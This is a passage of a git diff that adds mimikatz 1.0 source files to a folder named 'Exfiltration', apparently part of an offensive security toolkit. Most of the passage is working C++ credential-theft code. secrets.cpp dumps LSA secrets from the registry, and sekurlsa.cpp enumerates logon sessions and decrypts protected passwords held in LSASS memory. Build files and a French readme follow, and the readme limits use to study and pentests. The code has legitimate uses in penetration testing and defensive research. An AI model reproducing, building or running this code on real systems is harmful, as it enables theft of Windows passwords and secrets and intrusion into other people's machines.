&maChaine); + +typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); +typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); +typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); +typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); +typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp new file mode 100644 index 0000000..06d8664 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp @@ -0,0 +1,99 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "secrets.h" + +PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; +PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; +PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; +PLSA_R_CLOSE LsarClose = NULL; + +bool searchSECFuncs() +{ + if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + LsaIOpenPolicyTrusted = reinterpret_cast<PLSA_I_OPEN_POLICY_TRUSTED>(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); + LsarOpenSecret = reinterpret_cast<PLSA_R_OPEN_SECRET>(GetProcAddress(hLsasrv, "LsarOpenSecret")); + LsarQuerySecret = reinterpret_cast<PLSA_R_QUERY_SECRET>(GetProcAddress(hLsasrv, "LsarQuerySecret")); + LsarClose = reinterpret_cast<PLSA_R_CLOSE>(GetProcAddress(hLsasrv, "LsarClose")); + } + return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); + } + else return true; +} + +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << + L"@LsarOpenSecret = " << LsarOpenSecret << endl << + L"@LsarQuerySecret = " << LsarQuerySecret << endl << + L"@LsarClose = " << LsarClose << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + if(searchSECFuncs()) + { + bool sendOk = true; + wstring message; + LSA_HANDLE hPolicy; + + if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) + { + HKEY hKeysSecrets; + if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) + { + DWORD nbKey, maxKeySize; + if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + for(DWORD i = 0; (i < nbKey) && sendOk; i++) + { + DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); + LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; + + if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + monNomSecret.Length = monNomSecret.MaximumLength = static_cast<USHORT>(buffsize * sizeof(wchar_t)); + message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); + + LSA_HANDLE hSecret; + if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) + { + LSA_SECRET * monSecret = NULL; + if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) + { + message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); + LsaFreeMemory(monSecret); + } + else message.append(L"Erreur : Impossible de récupérer le secret\n"); + LsarClose(&hSecret); + } + else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); + } + delete[] monNomSecret.Buffer; + sendOk = sendTo(monPipe, message); + } + message.clear(); + } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); + RegCloseKey(hKeysSecrets); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la clé Secrets\n"); + LsarClose(&hPolicy); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); + + if(!message.empty()) + sendOk = sendTo(monPipe, message); + + return sendOk; + } + else return getSECFunctions(monPipe, mesArguments); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h new file mode 100644 index 0000000..cb74837 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include <wincred.h> + +bool searchSECFuncs(); +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector<wstring> * mesArguments); + +#define SECRET_SET_VALUE 0x00000001 +#define SECRET_QUERY_VALUE 0x00000002 + +typedef struct _LSA_SECRET +{ + DWORD Length; + DWORD MaximumLength; + wchar_t * Buffer; +} LSA_SECRET, *PLSA_SECRET; + +typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); +typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); +typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); +typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp new file mode 100644 index 0000000..1d07596 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp @@ -0,0 +1,86 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sekurlsa.h" +PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"SekurLSA : librairie de manipulation des données de sécurités dans LSASS\n"); + return mod_system::getVersion(&mod_system::GLOB_Version); +} + +bool searchLSAFuncs() +{ + if(!SeckPkgFunctionTable) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + } + return (SeckPkgFunctionTable != NULL); +} + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) +{ + wstring password; + if(ptrPass->Buffer && (ptrPass->Length > 0)) + { + BYTE * monPass = new BYTE[ptrPass->MaximumLength]; + RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); + SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); + password.assign(mod_text::stringOrHex(reinterpret_cast<PBYTE>(monPass), ptrPass->Length)); + delete[] monPass; + } + return password; +} + +bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders) +{ + bool sendOk = true; + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count && sendOk; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + wostringstream maPremiereReponse; + maPremiereReponse << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + sendOk = sendTo(monPipe, maPremiereReponse.str()); + + for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + wostringstream maSecondeReponse; + maSecondeReponse << L'\t' << monProvider->second << L" : \t"; + sendOk = sendTo(monPipe, maSecondeReponse.str()); + monProvider->first(&sessions[i], monPipe, mesArguments->empty()); + sendOk = sendTo(monPipe, L"\n"); + } + } + LsaFreeReturnBuffer(sessionData); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les données de session\n"); + } + LsaFreeReturnBuffer(sessions); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'énumerer les sessions courantes\n"); + + return sendOk; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h new file mode 100644 index 0000000..c36e173 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "secpkg.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_text.h" +#include "mod_process.h" + +extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + +bool searchLSAFuncs(); +__kextdll bool __cdecl getDescription(wstring * maDescription); + +typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); +bool getLogonData(mod_pipe * monPipe, vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders); + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc Binary files differnew file mode 100644 index 0000000..2243435 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj new file mode 100644 index 0000000..dbea2a6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj @@ -0,0 +1,154 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sekurlsa</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + <ModuleDefinitionFile> + </ModuleDefinitionFile> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + <ModuleDefinitionFile> + </ModuleDefinitionFile> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\commun\kmodel.cpp" /> + <ClCompile Include="..\..\modules\mod_memory.cpp" /> + <ClCompile Include="..\..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\..\modules\mod_process.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp" /> + <ClCompile Include="..\..\modules\mod_text.cpp" /> + <ClCompile Include="modules\credman.cpp" /> + <ClCompile Include="modules\incognito.cpp" /> + <ClCompile Include="modules\sam.cpp" /> + <ClCompile Include="modules\secrets.cpp" /> + <ClCompile Include="Security Packages\msv1_0.cpp" /> + <ClCompile Include="Security Packages\msv1_0_helper.cpp" /> + <ClCompile Include="sekurlsa.cpp" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\commun\kmodel.h" /> + <ClInclude Include="..\..\commun\secpkg.h" /> + <ClInclude Include="..\..\modules\mod_memory.h" /> + <ClInclude Include="..\..\modules\mod_parseur.h" /> + <ClInclude Include="..\..\modules\mod_pipe.h" /> + <ClInclude Include="..\..\modules\mod_process.h" /> + <ClInclude Include="..\..\modules\mod_system.h" /> + <ClInclude Include="..\..\modules\mod_text.h" /> + <ClInclude Include="modules\credman.h" /> + <ClInclude Include="modules\incognito.h" /> + <ClInclude Include="modules\sam.h" /> + <ClInclude Include="modules\secrets.h" /> + <ClInclude Include="Security Packages\msv1_0.h" /> + <ClInclude Include="Security Packages\msv1_0_helper.h" /> + <ClInclude Include="sekurlsa.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="sekurlsa.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters new file mode 100644 index 0000000..936fcde --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters @@ -0,0 +1,122 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{87c9f520-31d1-4b44-a523-415e0c703bde}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{8c6588bf-b3cf-4080-b59e-3ce82a6ccd62}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{9e44771d-18f4-407a-8f89-508cf5c366ff}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Librairie Modèle"> + <UniqueIdentifier>{541a9eff-641d-4a77-9b1f-e72ad6a7c0fa}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Mémoire"> + <UniqueIdentifier>{ba6b07a5-6d5b-4632-ad6e-56690630eaa7}</UniqueIdentifier> + </Filter> + <Filter Include="Security Packages"> + <UniqueIdentifier>{1e52fbf9-a352-419f-870b-3c4e265781d8}</UniqueIdentifier> + <Extensions> + </Extensions> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{7fcd7c52-b4e5-4c6c-9dc7-190fbe667193}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Texte"> + <UniqueIdentifier>{c175e3ec-41d0-4474-bbc7-eb1962a7fc70}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour sekurlsa"> + <UniqueIdentifier>{b3819528-2e60-46a3-b37a-7c575a4d866a}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\..\commun\kmodel.cpp"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_memory.cpp"> + <Filter>Modules Communs\Mémoire</Filter> + </ClCompile> + <ClCompile Include="sekurlsa.cpp" /> + <ClCompile Include="..\..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="Security Packages\msv1_0.cpp"> + <Filter>Security Packages</Filter> + </ClCompile> + <ClCompile Include="Security Packages\msv1_0_helper.cpp"> + <Filter>Security Packages</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_text.cpp"> + <Filter>Modules Communs\Texte</Filter> + </ClCompile> + <ClCompile Include="..\..\modules\mod_process.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\incognito.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\secrets.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\credman.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + <ClCompile Include="modules\sam.cpp"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\kmodel.h"> + <Filter>Modules Communs\Librairie Modèle</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_memory.h"> + <Filter>Modules Communs\Mémoire</Filter> + </ClInclude> + <ClInclude Include="sekurlsa.h" /> + <ClInclude Include="..\..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="Security Packages\msv1_0.h"> + <Filter>Security Packages</Filter> + </ClInclude> + <ClInclude Include="Security Packages\msv1_0_helper.h"> + <Filter>Security Packages</Filter> + </ClInclude> + <ClInclude Include="..\..\modules\mod_text.h"> + <Filter>Modules Communs\Texte</Filter> + </ClInclude> + <ClInclude Include="..\..\commun\secpkg.h" /> + <ClInclude Include="..\..\modules\mod_process.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\incognito.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\credman.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\secrets.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + <ClInclude Include="modules\sam.h"> + <Filter>Modules locaux pour sekurlsa</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="sekurlsa.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt new file mode 100644 index 0000000..eed6a50 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/lisezmoi.txt @@ -0,0 +1,47 @@ +mimikatz +======== + + +Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de différents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz +Cet utilitaire ne peut ętre utilisé qu'ŕ des fins d'études, pentests et autres actions légales en accord avec la licence précisée ci-dessous. + +Plus globalement, merci de respecter la philosophie avec laquelle cet outil a été créé, c'est ŕ dire en ne permettant pas son utilisation ŕ des fins malveillantes. +Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. + +Binaires, codes source, dérivés et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ +_____________________________________________________ +Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com/mimikatz +benjamin@gentilkiwi.com + + +anti-gpo standalone +=================== + +Ces outils ont étés remplacé par l'utilisation directe de mimikatz + +* KiwiRegedit + mimikatz nogpo::regedit exit + +* KiwiCmd + mimikatz nogpo::cmd exit + +* KiwiRegedit + mimikatz nogpo::taskmgr exit + + +outils incorporés +================= + +* psexec.exe + PsExec v1.98 - Execute processes remotely + Mark Russinovich (Sysinternals / Microsoft) + +* tee.exe + GNU shellutils 1.9.4 + http://unxutils.sourceforge.net/ + +* winmine.exe + Démineur de Windows XP + Robert Donner et Curt Johnson (Microsoft)
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln new file mode 100644 index 0000000..aa46f44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz.sln @@ -0,0 +1,85 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" + ProjectSection(SolutionItems) = preProject + lisezmoi.txt = lisezmoi.txt + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-tĂŞtes", "En-tĂŞtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" + ProjectSection(SolutionItems) = preProject + commun\globdefs.h = commun\globdefs.h + commun\secpkg.h = commun\secpkg.h + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", 